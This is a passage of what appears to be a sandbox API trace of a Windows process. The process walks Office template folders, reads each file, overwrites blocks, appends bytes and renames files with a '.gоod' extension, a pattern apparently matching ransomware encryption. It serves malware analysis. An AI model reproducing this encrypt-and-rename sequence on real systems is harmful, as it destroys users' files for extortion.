ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalMonthlyBudget.xltx", cAlternateFileName="PERSON~1.XLT")) returned 1 [0197.477] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7f98f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitchbook.potx", cAlternateFileName="PITCHB~1.POT")) returned 1 [0197.477] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3b42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJPLAN.XLTX", cAlternateFileName="PROJPL~1.XLT")) returned 1 [0197.478] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17697, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuizShow.potx", cAlternateFileName="QUIZSH~1.POT")) returned 1 [0197.478] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb86bf6b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb86bf6b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcdbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedAndBlackLetter.dotx", cAlternateFileName="REDAND~2.DOT")) returned 1 [0197.478] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b56a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedAndBlackReport.dotx", cAlternateFileName="REDAND~1.DOT")) returned 1 [0197.478] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb845d09, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb845d09, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb86bf6b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="SalesReport.xltx", cAlternateFileName="SALESR~1.XLT")) returned 1 [0197.478] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc51, dwReserved0=0x0, dwReserved1=0x0, cFileName="StudentReport.dotx", cAlternateFileName="STUDEN~1.DOT")) returned 1 [0197.478] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x2aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKLIST.XLTX", cAlternateFileName="TASKLI~1.XLT")) returned 1 [0197.478] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimeCard.xltx", cAlternateFileName="TIMECA~1.XLT")) returned 1 [0197.479] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf18, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimelessLetter.dotx", cAlternateFileName="TIMELE~2.DOT")) returned 1 [0197.479] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43753, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimelessReport.dotx", cAlternateFileName="TIMELE~3.DOT")) returned 1 [0197.479] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe72, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimelessResume.dotx", cAlternateFileName="TIMELE~1.DOT")) returned 1 [0197.479] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12f35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Training.potx", cAlternateFileName="TRAINI~1.POT")) returned 1 [0197.479] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="WIDESC~1.POT")) returned 1 [0197.479] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2010 look.dotx", cAlternateFileName="WORD20~1.DOT")) returned 1 [0197.480] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2010 look.dotx", cAlternateFileName="WORD20~1.DOT")) returned 0 [0197.480] FindClose (in: hFindFile=0x1ecdc460 | out: hFindFile=0x1ecdc460) returned 1 [0197.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eca20) returned 1 [0197.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9e0) returned 1 [0197.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", lpFilePart=0x0) returned 0x4a [0197.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0197.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x37597a8 | out: lpFileInformation=0x37597a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09)) returned 1 [0197.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0197.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", lpFilePart=0x0) returned 0x4a [0197.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0197.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0197.482] GetFileType (hFile=0x7c8) returned 0x1 [0197.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0197.482] GetFileType (hFile=0x7c8) returned 0x1 [0197.482] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0197.482] ReadFile (in: hFile=0x7c8, lpBuffer=0x3759bf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3759bf0*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0197.484] CloseHandle (hObject=0x7c8) returned 1 [0197.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", lpFilePart=0x0) returned 0x4a [0197.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0197.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0197.484] GetFileType (hFile=0x7c8) returned 0x1 [0197.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0197.484] GetFileType (hFile=0x7c8) returned 0x1 [0197.484] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x30f09 [0197.484] WriteFile (in: hFile=0x7c8, lpBuffer=0x375c138*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x375c138*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0197.485] CloseHandle (hObject=0x7c8) returned 1 [0197.489] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", lpFilePart=0x0) returned 0x4a [0197.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0197.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0197.489] GetFileType (hFile=0x7c8) returned 0x1 [0197.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0197.489] GetFileType (hFile=0x7c8) returned 0x1 [0197.489] ReadFile (in: hFile=0x7c8, lpBuffer=0x375e410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x375e410*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0198.013] CloseHandle (hObject=0x7c8) returned 1 [0198.013] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", lpFilePart=0x0) returned 0x4a [0198.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0198.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0198.013] GetFileType (hFile=0x7c8) returned 0x1 [0198.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0198.013] GetFileType (hFile=0x7c8) returned 0x1 [0198.013] WriteFile (in: hFile=0x7c8, lpBuffer=0x3630518*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3630518*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0198.013] CloseHandle (hObject=0x7c8) returned 1 [0198.013] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", lpFilePart=0x0) returned 0x4a [0198.013] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx.gоod", lpFilePart=0x0) returned 0x4f [0198.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0198.014] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x723de68c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30f19)) returned 1 [0198.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0198.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx.gоod")) returned 1 [0198.015] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", lpFilePart=0x0) returned 0x4a [0198.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0198.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3666f88 | out: lpFileInformation=0x3666f88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36f5b1)) returned 1 [0198.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0198.016] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", lpFilePart=0x0) returned 0x4a [0198.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0198.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0198.016] GetFileType (hFile=0x7c8) returned 0x1 [0198.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0198.016] GetFileType (hFile=0x7c8) returned 0x1 [0198.016] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0198.016] ReadFile (in: hFile=0x7c8, lpBuffer=0x36673d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x36673d0*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0198.018] CloseHandle (hObject=0x7c8) returned 1 [0198.018] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", lpFilePart=0x0) returned 0x4a [0198.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0198.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0198.018] GetFileType (hFile=0x7c8) returned 0x1 [0198.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0198.018] GetFileType (hFile=0x7c8) returned 0x1 [0198.018] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x36f5b1 [0198.018] WriteFile (in: hFile=0x7c8, lpBuffer=0x36686a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x36686a0*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0198.020] CloseHandle (hObject=0x7c8) returned 1 [0198.020] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", lpFilePart=0x0) returned 0x4a [0198.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0198.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0198.020] GetFileType (hFile=0x7c8) returned 0x1 [0198.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0198.020] GetFileType (hFile=0x7c8) returned 0x1 [0198.020] ReadFile (in: hFile=0x7c8, lpBuffer=0x366caf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x366caf8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0198.519] CloseHandle (hObject=0x7c8) returned 1 [0198.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", lpFilePart=0x0) returned 0x4a [0198.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0198.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0198.519] GetFileType (hFile=0x7c8) returned 0x1 [0198.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0198.519] GetFileType (hFile=0x7c8) returned 0x1 [0198.519] WriteFile (in: hFile=0x7c8, lpBuffer=0x363fbc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x363fbc8*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0198.520] CloseHandle (hObject=0x7c8) returned 1 [0198.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", lpFilePart=0x0) returned 0x4a [0198.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx.gоod", lpFilePart=0x0) returned 0x4f [0198.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0198.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x728a3178, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x36f5c1)) returned 1 [0198.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0198.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 